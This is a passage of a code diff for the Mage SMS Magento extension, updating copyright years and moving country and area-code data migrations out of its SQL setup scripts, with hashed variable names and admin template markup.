$iea2646e1bc9c30628936676e18f22d4a02f4a44a->delete(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup(); if (version_compare(Mage::getVersion(), '1.6', '<')) { include_once dirname(__FILE__).'/../../data/magesms_setup/data-upgrade-1.4.0-1.4.1.php'; }
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.4.1-1.4.2.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 974)->addFieldToFilter('number', 8); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { Mage::getModel('magesms/maps')->setArea(974)->setNumber(8)->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup(); if (version_compare(Mage::getVersion(), '1.6', '<')) { include_once dirname(__FILE__).'/../../data/magesms_setup/data-upgrade-1.4.1-1.4.2.php'; }
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.4.2-1.4.3.php CHANGED
@@ -10,10 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i037b855bc01175f2c77d5c3e19eda9a0003feff4 = Mage::getModel('magesms/country')->getCollection()->addFieldToFilter('name', 'Ivory Coast'); if (!$i037b855bc01175f2c77d5c3e19eda9a0003feff4->count()) { $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
- INSERT INTO `{$this->getTable('magesms_country')}`
18
- (`name`, `vat`, `currency`) VALUES ('Ivory Coast', 0, 'EUR')
19
- "); } $i7492a7ab99a6ff1e0ae253366480ecb40a550224 = Mage::getModel('magesms/country_area')->getCollection()->addFieldToFilter('area', 225)->addFieldToFilter('country_name', 'Ivory Coast'); if (!$i7492a7ab99a6ff1e0ae253366480ecb40a550224->count()) { Mage::getModel('magesms/country_area')->setArea(225)->setCountryName('Ivory Coast')->save(); } $i6e95f7221dac95bab38883c12b6d615a9933e323 = Mage::getModel('magesms/country_lang')->getCollection()->addFieldToFilter('country_name', 'Ivory Coast')->addFieldToFilter('iso2', 'fr'); if (!$i6e95f7221dac95bab38883c12b6d615a9933e323->count()) { Mage::getModel('magesms/country_lang')->setCountryName('Ivory Coast')->setIso2('fr')->setLang('fr')->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup(); if (version_compare(Mage::getVersion(), '1.6', '<')) { include_once dirname(__FILE__).'/../../data/magesms_setup/data-upgrade-1.4.2-1.4.3.php'; }
 
 
 
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.4.4-1.4.5.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 966)->addFieldToFilter('number', 8); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { Mage::getModel('magesms/maps')->setArea(966)->setNumber(8)->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup(); if (version_compare(Mage::getVersion(), '1.6', '<')) { include_once dirname(__FILE__).'/../../data/magesms_setup/data-upgrade-1.4.4-1.4.5.php'; }
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.4.5-1.4.6.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $ib678de385e13abb750f86db873c70fd899d5324c = array( array("Afghanistan",93), array("Andorra",376), array("Aruba",297), array("Benin",229), array("Brunei",673), array("Burkina Faso",226), array("Burundi",257), array("Cape Verde",238), array("CĂ´te d'Ivoire",225), array("Comoros",269), array("Congo Dem. R.",243), array("Cook Islands",682), array("Djibouti",253), array("Equatorial Guinea",240), array("Falkland Islands",500), array("Gabon",241), array("Gambia",220), array("Gibraltar",350), array("French Guiana",594), array("Guinea",224), array("Guinea-Bissau",245), array("Guyana",592), array("Haiti",509), array("Chad",235), array("Kiribati",686), array("Liberia",231), array("Mali",223), array("Mauritania",222), array("Mauritius",230), array("Montenegro",382), array("Mozambique",258), array("Netherlands Ant.",299), array("New Caledonia",687), array("Palau",680), array("RĂ©union",262), array("Saint Pierre a. M.",508), array("SĂŁo Tome a. P.",239), array("San Marino",378), array("Seychelles",248), array("Sierra Leone",232), array("Solomon Islands",677), array("Sudan",249), array("Suriname",597), array("Togo",228), array("Tuvalu",688), array("UAE",971), array("Uganda",256), array("Zambia",260), ); foreach ($ib678de385e13abb750f86db873c70fd899d5324c as $i04a044a36bef0ddde6d5de08f57f074024136d74) { $i037b855bc01175f2c77d5c3e19eda9a0003feff4 = Mage::getModel('magesms/country')->getCollection()->addFieldToFilter('name', $i04a044a36bef0ddde6d5de08f57f074024136d74[0]); if (!$i037b855bc01175f2c77d5c3e19eda9a0003feff4->count()) { $i037b855bc01175f2c77d5c3e19eda9a0003feff4 = Mage::getModel('magesms/country'); $i037b855bc01175f2c77d5c3e19eda9a0003feff4->setName($i04a044a36bef0ddde6d5de08f57f074024136d74[0])->setVat(0)->setCurrency('EUR'); $i037b855bc01175f2c77d5c3e19eda9a0003feff4->save(); $i819e44584c9e767fbcbdc7d78205ba711361e574 = Mage::getModel('magesms/country_area')->getCollection()->addFieldToFilter('area', $i04a044a36bef0ddde6d5de08f57f074024136d74[1]); if (!$i819e44584c9e767fbcbdc7d78205ba711361e574->count()) { $i819e44584c9e767fbcbdc7d78205ba711361e574 = Mage::getModel('magesms/country_area'); $i819e44584c9e767fbcbdc7d78205ba711361e574->setCountryName($i04a044a36bef0ddde6d5de08f57f074024136d74[0])->setArea($i04a044a36bef0ddde6d5de08f57f074024136d74[1]); $i819e44584c9e767fbcbdc7d78205ba711361e574->save(); } } } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup(); if (version_compare(Mage::getVersion(), '1.6', '<')) { include_once dirname(__FILE__).'/../../data/magesms_setup/data-upgrade-1.4.5-1.4.6.php'; }
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.4.7-1.4.8.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->getConnection() ->addIndex($this->getTable('magesms_smshistory'), 'smsid', array('smsid')); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup(); if (version_compare(Mage::getVersion(), '1.6', '<')) { include_once dirname(__FILE__).'/../../data/magesms_setup/data-upgrade-1.4.7-1.4.8.php'; }
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.4.8-1.5.0.php ADDED
@@ -0,0 +1,26 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->getConnection() ->addColumn($iddb18dc4afa6663cf07a52c741943ff87cbe3896->getTable('magesms_hooks'),'system', 'BOOLEAN NOT NULL'); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->getConnection() ->dropColumn($iddb18dc4afa6663cf07a52c741943ff87cbe3896->getTable('magesms_hooks'), 'status'); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
+ CREATE TABLE IF NOT EXISTS `{$this->getTable('magesms_birthdaymessages_template')}` (
18
+ `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
19
+ `run_time` time NOT NULL,
20
+ `delay` tinyint(4) NOT NULL DEFAULT '0',
21
+ `smstext` text NOT NULL,
22
+ `active` tinyint(3) NOT NULL,
23
+ `mutation` varchar(20) NOT NULL,
24
+ PRIMARY KEY (`id`)
25
+ ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
26
+ "); if (version_compare(Mage::getVersion(), '1.6', '<')) { include_once dirname(__FILE__).'/../../data/magesms_setup/data-upgrade-1.4.8-1.5.0.php'; } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.5.0-1.5.1.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); if (version_compare(Mage::getVersion(), '1.6', '<')) { include_once dirname(__FILE__).'/../../data/magesms_setup/data-upgrade-1.5.0-1.5.1.php'; } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
app/design/adminhtml/default/default/template/topefekt/magesms/about.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><h2><?php echo Mage::helper('magesms')->__('About'); ?></h2><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/magesms-logo.png'; ?>" alt="Mage SMS" style="float: right" /><b><?php echo Mage::helper('magesms')->__('Mage SMS module 2013-%s, version ', date('Y')).Mage::getConfig()->getModuleConfig('Topefekt_Magesms')->version; ?></b><br /><?php echo Mage::helper('magesms')->__('Copyright © TOPefekt s.r.o., All rights reserved'); ?><br /><br /><b><?php echo Mage::helper('magesms')->__('Supported Magento versions:'); ?></b><?php echo Mage::getConfig()->getNode('default/config/supported')->versions; ?><br /><br /><b><?php echo Mage::helper('magesms')->__('Developer:'); ?></b><br /><?php echo Mage::helper('magesms')->__('TOPefekt s.r.o.'); ?><br /><br /><b><?php echo Mage::helper('magesms')->__('Address:'); ?></b><br /><?php echo Mage::helper('magesms')->__('B. Nemcove 767/13'); ?><br /><?php echo Mage::helper('magesms')->__('78701 Sumperk'); ?><br /><?php echo Mage::helper('magesms')->__('Czech Republic'); ?><br /><?php echo Mage::helper('magesms')->__('VAT: CZ29444268'); ?><br /><br /><b><?php echo Mage::helper('magesms')->__('Office Telephone:'); ?></b><br /><?php echo Mage::helper('magesms')->__('+420 581 110 998'); ?><br /><br /><b><?php echo Mage::helper('magesms')->__('E-mail:'); ?></b><br /><a href="mailto:<?php echo Mage::helper('magesms')->__('sales@topefekt.com'); ?>"><?php echo Mage::helper('magesms')->__('sales@topefekt.com'); ?></a><br /><a href="mailto:<?php echo Mage::helper('magesms')->__('support@topefekt.com'); ?>"><?php echo Mage::helper('magesms')->__('support@topefekt.com'); ?></a><br /><br /><b><?php echo Mage::helper('magesms')->__('Web:'); ?></b><br /><a href="http://<?php echo Mage::helper('magesms')->__('www.mage-sms.com'); ?>"><?php echo Mage::helper('magesms')->__('www.mage-sms.com'); ?></a><br /><br /><b><?php echo Mage::helper('magesms')->__('Facebook:'); ?></b><br /><iframe src="//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2Fmagentosms&amp;width&amp;layout=button_count&amp;action=like&amp;show_faces=false&amp;share=true&amp;height=21&amp;appId=242281502635180" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:21px;" allowTransparency="true"></iframe><br /><br /><b><?php echo Mage::helper('magesms')->__('Manual:'); ?></b><br /><a href="http://<?php echo Mage::helper('magesms')->__('www.mage-sms.com/manual.html'); ?>"><?php echo Mage::helper('magesms')->__('www.mage-sms.com/manual.html'); ?></a><br /><br /><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/topefekt-logo.gif'; ?>" alt="TOPefekt" />
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><h2><?php echo Mage::helper('magesms')->__('About'); ?></h2><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/magesms-logo.png'; ?>" alt="Mage SMS" style="float: right" /><b><?php echo Mage::helper('magesms')->__('Mage SMS module 2013-%s, version ', date('Y')).Mage::getConfig()->getModuleConfig('Topefekt_Magesms')->version; ?></b><br /><?php echo Mage::helper('magesms')->__('Copyright © TOPefekt s.r.o., All rights reserved'); ?><br /><br /><b><?php echo Mage::helper('magesms')->__('Supported Magento versions:'); ?></b><?php echo Mage::getConfig()->getNode('default/config/supported')->versions; ?><br /><br /><b><?php echo Mage::helper('magesms')->__('Developer:'); ?></b><br /><?php echo Mage::helper('magesms')->__('TOPefekt s.r.o.'); ?><br /><br /><b><?php echo Mage::helper('magesms')->__('Address:'); ?></b><br /><?php echo Mage::helper('magesms')->__('B. Nemcove 767/13'); ?><br /><?php echo Mage::helper('magesms')->__('78701 Sumperk'); ?><br /><?php echo Mage::helper('magesms')->__('Czech Republic'); ?><br /><?php echo Mage::helper('magesms')->__('VAT: CZ29444268'); ?><br /><br /><b><?php echo Mage::helper('magesms')->__('Office Telephone:'); ?></b><br /><?php echo Mage::helper('magesms')->__('+420 581 110 998'); ?><br /><br /><b><?php echo Mage::helper('magesms')->__('E-mail:'); ?></b><br /><a href="mailto:<?php echo Mage::helper('magesms')->__('sales@topefekt.com'); ?>"><?php echo Mage::helper('magesms')->__('sales@topefekt.com'); ?></a><br /><a href="mailto:<?php echo Mage::helper('magesms')->__('support@topefekt.com'); ?>"><?php echo Mage::helper('magesms')->__('support@topefekt.com'); ?></a><br /><br /><b><?php echo Mage::helper('magesms')->__('Web:'); ?></b><br /><a href="http://<?php echo Mage::helper('magesms')->__('www.mage-sms.com'); ?>"><?php echo Mage::helper('magesms')->__('www.mage-sms.com'); ?></a><br /><br /><b><?php echo Mage::helper('magesms')->__('Facebook:'); ?></b><br /><iframe src="//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2Fmagentosms&amp;width&amp;layout=button_count&amp;action=like&amp;show_faces=false&amp;share=true&amp;height=21&amp;appId=242281502635180" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:21px;" allowTransparency="true"></iframe><br /><br /><b><?php echo Mage::helper('magesms')->__('Manual:'); ?></b><br /><a href="http://<?php echo Mage::helper('magesms')->__('www.mage-sms.com/manual.html'); ?>"><?php echo Mage::helper('magesms')->__('www.mage-sms.com/manual.html'); ?></a><br /><br /><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/topefekt-logo.gif'; ?>" alt="TOPefekt" />
app/design/adminhtml/default/default/template/topefekt/magesms/adminsms.phtml CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><h2><?php echo Mage::helper('magesms')->__('Admin SMS'); ?></h2><p><?php echo Mage::helper('magesms')->__('Select events during which shall be shop administrators notified via SMS and customize text of messages.'); ?></p><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Unicode SMS'); ?></h4></div><div class="fieldset grid"><form id="magesms_changeunicode" action="<?php echo Mage::getUrl('*/*/saveunicode') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div class="margin-form"><p><?php echo Mage::helper('magesms')->__('Check only if you want to use Chinese, Arabic, Greek, Hebrew, Korean, Cyrillic, etc. or diacritic in the text of your SMS message (Unicode text allows you to insert characters in all fonts and various other symbols simultaneously. Number of characters in one SMS will be reduced to 70).'); ?></p><input type="checkbox" id="unicode" name="unicode" value="1" <?php echo ($unicode = Mage::getSingleton('magesms/hooks_unicode')->getCollection()->addFilter('type', 'admin')->getFirstItem()->getUnicode()) ? 'checked' : ''; ?> /><label for="unicode"><?php echo Mage::helper('magesms')->__('Unicode SMS'); ?></label><input type="submit" value="<?php echo Mage::helper('magesms')->__('Save'); ?>" class="form-button" /></div></form></div></div><?php foreach ($this->getGroups() as $group): ?><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><?php if ($group->icon): ?><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).$group->icon; ?>" alt="" /> <?php endif; ?><?php echo Mage::helper('magesms')->__($group->name); ?></h4></div><div class="fieldset grid"><?php if (count($group->getHooks())): ?><table class="data" id="gridData"><col /><col width="100px" /><?php $even = 1; foreach($group->getHooks() as $hook): if ($even) $even = 0; else $even = 1; ?><tr id="hist_<?php echo $hook->getName(); ?>" class="pointer hover <?php if ($even) echo 'even'?>"><td><span class="img"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_plus.gif'; ?>"></span><span class="img" style="display:none"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_minus.gif'; ?>"></span><?php if (!$group->getGroup()): ?><?php echo $hook->getInfo(); ?> - <?php echo $statusT = Mage::helper('sales')->__($hook->getStatusName()); ?><?php if ($statusT != $hook->getStatusName()): ?> (<?php echo $hook->getStatusName(); ?>)<?php endif; ?><?php else: ?><?php echo $hook->getName(); ?> - <?php echo $hook->getInfo(); ?><?php endif; ?></td><td class="a-center"><?php $title = $hook->getActive() ? Mage::helper('magesms')->__('Sending notifications via SMS is ACTIVE') : Mage::helper('magesms')->__('Sending notifications via SMS is NOT ACTIVE. To activate SMS sending check „Active“ in desired status detail.'); $img = $hook->getActive() ? 'i_accepted.gif' : 'i_canceled.gif'; ?><span style="cursor:help;" title="<?php echo $title; ?>" onclick="popup_title(this)"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/'.$img; ?>"></span></td></tr><tr id="histd_<?php echo $hook->getName(); ?>" style="display:none"><td colspan="2"><form id="hook_<?php echo $hook->getName(); ?>" action="<?php echo Mage::getUrl('*/*/savehook') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><input type="hidden" name="type" value="admins" /><input type="hidden" name="name" value="<?php echo $hook->getName(); ?>" /><?php if ($hook->getPlugin()): ?><input type="hidden" name="plugin" value="<?php echo $hook->getPlugin(); ?>" /><?php endif; ?><div style="display:inline-block;width:350px;"><label style="font-weight:normal;text-align:left;width:350px;"><?php echo Mage::helper('magesms')->__('SMS text'); ?></label><br><textarea id="text_<?php echo $hook->getName(); ?>" name="text" class="required-entry input-text" style="width:290px;height:100px;border:1px solid grey;"><?php echo ($text = $hook->getSmstext()) ? $text : $hook->getTemplate(); ?></textarea></div><div style="display:inline-block;width:320px;"><label style="font-weight:normal;text-align:left"><?php echo Mage::helper('magesms')->__('Preview'); ?> (<span id="label_<?php echo $hook->getName(); ?>"></span>)</label><br><textarea id="textfake_<?php echo $hook->getName(); ?>" name="textfake" disabled="disabled" style="width:290px;height:100px;border:1px solid grey;"></textarea></div><div style="display:inline-block;width:310px; padding-top: 20px;"><?php $admins = Mage::getSingleton('magesms/admins')->getCollection(); $stores = Mage::getModel('core/store_group')->getCollection()->setLoadDefault(false) ?><table class="data"><tr class="headings"><th colspan="<?php echo $stores->count()+1; ?>"><?php echo Mage::helper('magesms')->__('Administrators'); ?></th></tr><?php foreach($admins as $admin): ?><tr><td><?php echo $admin->getName(); ?></td><?php foreach($stores as $store): ?><td><input type="checkbox" name="active_<?php echo $hook->getName().'_'.$admin->getId().'_'.$store->getId(); ?>" id="active_<?php echo $hook->getName().'_'.$admin->getId().'_'.$store->getId(); ?>" value="1" <?php echo !empty($hook[$admin->getId().'_'.$store->getId()]) ? 'checked' : ''; ?> /><label for="active_<?php echo $hook->getName().'_'.$admin->getId().'_'.$store->getId(); ?>"><?php echo $store->getName(); ?></label></td><?php endforeach; ?></tr><?php endforeach; ?></table><br /><br /><br /><div style="float:left;"><input type="submit" value="<?php echo Mage::helper('magesms')->__('Save'); ?>" class="form-button" /></div><div style="float:left;padding-left:20px;"><input value="<?php echo Mage::helper('magesms')->__('Cancel'); ?>" title="Restore unsaved changes to its original state." class="form-button" type="button" onclick="this.form.reset();countitSMS_<?php echo $hook->getName(); ?>.count();" /></div></div></form><script type="text/javascript">//<![CDATA[
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  ?><?php $user = $this->profile->user; ?><?php $lang = $this->profile->lang; ?><h2><?php echo Mage::helper('magesms')->__('Admin SMS'); ?></h2><p><?php echo Mage::helper('magesms')->__('Select events during which shall be shop administrators notified via SMS and customize text of messages.'); ?></p><div id="magesms"><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/AdminTools.gif'; ?>" alt="" /> <?php echo Mage::helper('magesms')->__('Unicode SMS'); ?></h4></div><div class="fieldset grid"><form id="magesms_changeunicode" action="<?php echo Mage::getUrl('*/*/saveunicode') ?>" method="post"><input name="form_key" type="hidden" value="<?php echo Mage::getSingleton('core/session')->getFormKey() ?>" /><div class="margin-form"><p><?php echo Mage::helper('magesms')->__('Check only if you want to use Chinese, Arabic, Greek, Hebrew, Korean, Cyrillic, etc. or diacritic in the text of your SMS message (Unicode text allows you to insert characters in all fonts and various other symbols simultaneously. Number of characters in one SMS will be reduced to 70).'); ?></p><input type="checkbox" id="unicode" name="unicode" value="1" <?php echo ($unicode = Mage::getSingleton('magesms/hooks_unicode')->getCollection()->addFilter('type', 'admin')->getFirstItem()->getUnicode()) ? 'checked' : ''; ?> /><label for="unicode"><?php echo Mage::helper('magesms')->__('Unicode SMS'); ?></label><input type="submit" value="<?php echo Mage::helper('magesms')->__('Save'); ?>" class="form-button" /></div></form></div></div><?php foreach ($this->getGroups() as $group): ?><div class="entry-edit"><div class="entry-edit-head"><h4 class="icon-head fieldset-legend head-account"><?php if ($group->icon): ?><img src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).$group->icon; ?>" alt="" /> <?php endif; ?><?php echo Mage::helper('magesms')->__($group->name); ?></h4></div><div class="fieldset grid"><?php if (count($group->getHooks())): ?><table class="data" id="gridData"><col /><col width="100px" /><?php $even = 1; foreach($group->getHooks() as $hook): if ($even) $even = 0; else $even = 1; ?><tr id="hist_<?php echo $hook->getName(); ?>" class="pointer hover <?php if ($even) echo 'even'?>"><td><span class="img"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_plus.gif'; ?>"></span><span class="img" style="display:none"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/i_minus.gif'; ?>"></span><?php if (!$group->getGroup()): ?><?php echo $hook->getInfo(); ?> - <?php echo $statusT = Mage::helper('sales')->__($hook->getStatusName()); ?><?php if ($statusT != $hook->getStatusName()): ?> (<?php echo $hook->getStatusName(); ?>)<?php endif; ?><?php else: ?><?php echo $hook->getName(); ?> - <?php echo $hook->getInfo(); ?><?php endif; ?></td><td class="a-center"><?php $title = $hook->getActive() ? Mage::helper('magesms')->__('Sending notifications via SMS is ACTIVE') : Mage::helper('magesms')->__('Sending notifications via SMS is NOT ACTIVE. To activate SMS sending check „Active“ in desired status detail.'); $img = $hook->getActive() ? 'i_accepted.gif' : 'i_canceled.gif'; ?><span style="cursor:help;" title="<?php echo $title; ?>" onclick="popup_title(this)"><img class="toggle" src="<?php echo Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'magesms/'.$img; ?>"></span></td></tr><tr id="histd_<?php echo $hook->getName(); ?>" style="display:none"><td colspan="2"><form id="hook_<?php echo 